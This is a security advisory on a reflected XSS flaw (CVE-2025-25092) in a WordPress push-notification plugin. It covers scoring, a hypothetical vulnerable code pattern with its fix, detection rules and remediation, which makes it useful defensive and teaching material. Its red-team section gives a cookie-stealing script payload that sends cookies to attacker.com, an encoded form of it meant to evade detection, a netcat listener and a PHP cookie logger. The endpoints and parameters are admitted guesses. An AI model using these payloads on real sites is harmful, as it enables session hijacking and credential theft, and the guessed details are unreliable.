CVE-2025-25092

Executive Summary

CVE-2025-25092 is a Reflected Cross-Site Scripting (XSS) vulnerability found in the WordPress plugin "All push notification for WP" by vendor gtlwpdev. This flaw allows an unauthenticated attacker to inject arbitrary JavaScript into a web page generated by the plugin, which is then reflected back to the victim. The vulnerability affects all versions up to and including 1.5.3. The CVSS score is 7.1 (High), indicating a significant risk due to the potential for session hijacking, credential theft, or defacement. No public exploit code or patch is currently available, making this a zero-day threat for unpatched installations.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. As such, it impacts the WordPress ecosystem directly. Users who have installed this plugin from the WordPress dashboard or via direct download are at risk. The lack of a patch means that the supply chain is currently compromised for all users of this plugin. Administrators should treat this as a critical supply chain risk and consider disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: High. The combination of low attack complexity, no privileges required, and the potential for session hijacking makes this a serious threat for WordPress sites using the plugin.

Deep Dive & Mechanics

The vulnerability is a classic Reflected XSS (CWE-79). The plugin fails to properly sanitize user-supplied input before including it in a web page response. An attacker can craft a malicious URL containing JavaScript code in a parameter that the plugin processes. When a victim clicks this link, the injected script executes in the context of the victim's browser session on the vulnerable WordPress site.

Root Cause: The plugin likely uses functions like echo $_GET['param'] or similar without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_js(), wp_kses_post()). This allows arbitrary HTML/JavaScript to be injected.

Attack Flow:

1. Attacker identifies a vulnerable parameter (e.g., ?msg=<script>alert(1)</script>).
2. Attacker crafts a malicious link: https://victim-site.com/wp-content/plugins/all-push-notification/some-page.php?msg=<script>/*malicious code*/</script>.
3. Attacker distributes the link via phishing email, social media, or other means.
4. Victim clicks the link while authenticated to the WordPress site.
5. The injected script executes, potentially stealing cookies, performing actions on behalf of the victim, or redirecting to a malicious site.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern and the required fix.

Vulnerable Code (Hypothetical):

<?php
$message = $_GET['msg'];
echo "<div class='notification'>$message</div>";
?>

Patched Code (Required Fix):

<?php
$message = isset($_GET['msg']) ? esc_html($_GET['msg']) : '';
echo "<div class='notification'>" . esc_html($message) . "</div>";
?>

The fix involves using esc_html() to encode HTML special characters, preventing script injection. Alternatively, wp_kses_post() could be used if limited HTML is allowed.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with "All push notification for WP" version <= 1.5.3 installed and activated.
• A victim user with an active session on the site.

Exploitation Steps:

1. Identify the vulnerable endpoint. Common patterns include admin-ajax.php or a custom page within the plugin. For this example, assume the vulnerable parameter is msg in a file like notification-handler.php.
2. Craft the malicious URL:

   http://victim-site.com/wp-content/plugins/all-push-notification/notification-handler.php?msg=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. Encode the URL to avoid detection:

   http://victim-site.com/wp-content/plugins/all-push-notification/notification-handler.php?msg=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E
   

4. Send the link to the victim via email or social engineering.
5. On the attacker's server, set up a listener to capture cookies:

   nc -lvnp 80
   

   Or use a PHP script steal.php:

   <?php
   $cookie = $_GET['c'];
   file_put_contents('cookies.txt', $cookie . "\n", FILE_APPEND);
   ?>
   

Blue Team (Defensive)

Detection & Response:

1. Monitor Web Logs: Look for requests containing <script>, onerror=, onload=, or other XSS patterns in query parameters.
2. Deploy WAF Rules: Block requests with suspicious parameters.
3. User Education: Train users not to click suspicious links.
4. Plugin Audit: Disable the plugin immediately if no patch is available.

Honeypot Setup:

• Create a decoy WordPress site with the vulnerable plugin to capture attacker payloads.

Indicators of Compromise (IOCs)

• URL Patterns: Requests containing all-push-notification with parameters like msg, notice, or error followed by <script> tags.
• Log Entries: HTTP 200 responses to plugin files with query strings containing encoded JavaScript.
• Network Traffic: Outbound connections from the victim's browser to attacker-controlled domains (e.g., attacker.com/steal.php).
• File Changes: Unexpected modifications to WordPress user roles or settings (if the XSS is used for privilege escalation).

Detection Engineering

YARA Rule

rule CVE_2025_25092_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting All push notification for WP plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-25092"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = /all-push-notification/
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Reflected XSS in All push notification for WP Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts against CVE-2025-25092
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'all-push-notification'
        cs-uri-query|re: '(<script|<img|<svg|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in parameters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-25092 Reflected XSS in All push notification for WP";
    flow:to_server,established;
    content:"all-push-notification"; http_uri;
    pcre:"/(<script|<img|<svg|onerror|onload)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and uninstall "All push notification for WP" until a patched version is released.
2. Web Application Firewall (WAF): Deploy rules to block common XSS payloads in query parameters.
3. Input Validation: If you must keep the plugin, add server-side input validation to sanitize all user inputs.

Long-Term Fix:

• The vendor must release a patched version that properly escapes output using WordPress functions like esc_html(), esc_js(), or wp_kses_post().
• Users should monitor the WordPress plugin repository for updates.

Workaround:

• Use a security plugin like Wordfence or Sucuri to add an additional layer of XSS protection.

Valters IT